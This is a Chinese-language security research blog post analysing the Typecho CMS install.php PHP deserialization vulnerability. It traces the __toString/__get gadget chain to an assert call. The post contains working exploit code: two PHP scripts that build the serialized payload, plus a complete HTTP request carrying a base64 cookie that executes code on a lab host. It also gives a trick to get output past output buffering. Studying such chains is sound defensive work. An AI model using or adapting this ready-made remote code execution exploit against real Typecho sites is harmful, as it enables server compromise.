再看Typecho
date
Jun 16, 2021
slug
Typecho-unserialize-analyse
status
Published
tags
PHP安全
安全研究
summary
重新自己分析一下
type
Post
以前看的时候没觉得这么精彩,现在看是真的神了
因为套代码在反序列化触发的地方存在
spl_autoload_register
就不需要再搞什么命名空间了(这个点想起P牛那篇CSRF反序列化那篇文章)这个点会动态包含Typecho_Common类所在文件位置的当前目录的类文件,这也个位置也是typecho功能类所在的目录了
观察触发点:
install.php
是在cookie处获取的内容,这个文件一共有两处地方,也就是两个出发点,但是这两处地方都是需要构造一定的条件,先把链条构造出来
这里比较奇特的地方在于并不是像其他框架那样走的是
__destruct
函数,走的是__toString
函数开始,当对象实例化之后利用new Typecho_Db($config['adapter'], $config['prefix']);
这个代码里面的构造函数实现对__toString
函数的调用,妙全场__toString有三处地方,其中
\Typecho_Feed::__toString
比较可以利用的,此时利用了第二个比较巧妙的点,就是使用了__get
函数 ,这个函数在类里面去调用不存在的变量时会调用该方法,所以此时就会选中var/Typecho/Feed.php:290这一行代码触发,但是这个文件里面不止这一个触发点,还有好几处,这里面的$item变量是我们可控的最后选择
\Typecho_Request::__get
触发,这给点应该是最快能到达sink的地方,其他地方没仔细看此时就可以构造poc:
<?php
class Typecho_Request{
private $_filter;
private $_params;
public function __construct()
{
$this->_filter = array("assert");
$this->_params = array("screenName" => "phpinfo();");
}
}
class Typecho_Feed{
private $_type;
private $_items;
public function __construct()
{
$this->_type = "RSS 2.0";
$this->_items = array(array("author"=>new Typecho_Request()));
}
}
$a = array(
"adapter" => new Typecho_Feed(),
"prefix" => "test"
);
echo base64_encode(serialize($a));
然后发包,发现还需要一些条件,可以自己调试一下需要满足什么条件,需要构造一个finish参数还有一个referer头为和地址一样的http格式并且得带上端口,比如我这里就是
http://10.101.168.140:5080
但是调用完这一切之后,发现只能返回500,报错了
这个点主要就是install.php调用了ob_start()的问题,我们exp触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。
此时解决的方法就是强制退出,参考文章的作者提出两种方案:
1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。
2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
参考作者的poc使用了第二种,使用数据库去进行报错,但其实都不需要,直接就在原来的地方改用eval代码执行处加上
;exit;
即可完成调用,因为assert支持一句话的执行效果最后的poc:
<?php
class Typecho_Request{
private $_filter;
private $_params;
public function __construct()
{
$this->_filter = array("assert");
$this->_params = array("screenName" => "eval('phpinfo();exit();');");
}
}
class Typecho_Feed{
private $_type;
private $_items;
public function __construct()
{
$this->_type = "RSS 2.0";
$this->_items = array(array("author"=>new Typecho_Request()));
}
}
$a = array(
"adapter" => new Typecho_Feed(),
"prefix" => "test"
);
echo base64_encode(serialize($a));
触发报文:
GET /install.php?finish HTTP/1.1
Host: 10.101.168.140:5080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: http://10.101.168.140:5080
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MjY6ImV2YWwoJ3BocGluZm8oKTtleGl0KCk7Jyk7Ijt9fX19fXM6NjoicHJlZml4IjtzOjQ6InRlc3QiO30=
Connection: close
后面又看了一下,发现走start函参数条件的不可行,但是另外一个__toString方法可以调用__call方法,此处参考的这篇文章,用的PHP原生类触发SSRF:https://www.crisprx.top/archives/243
还是得多思考!!!!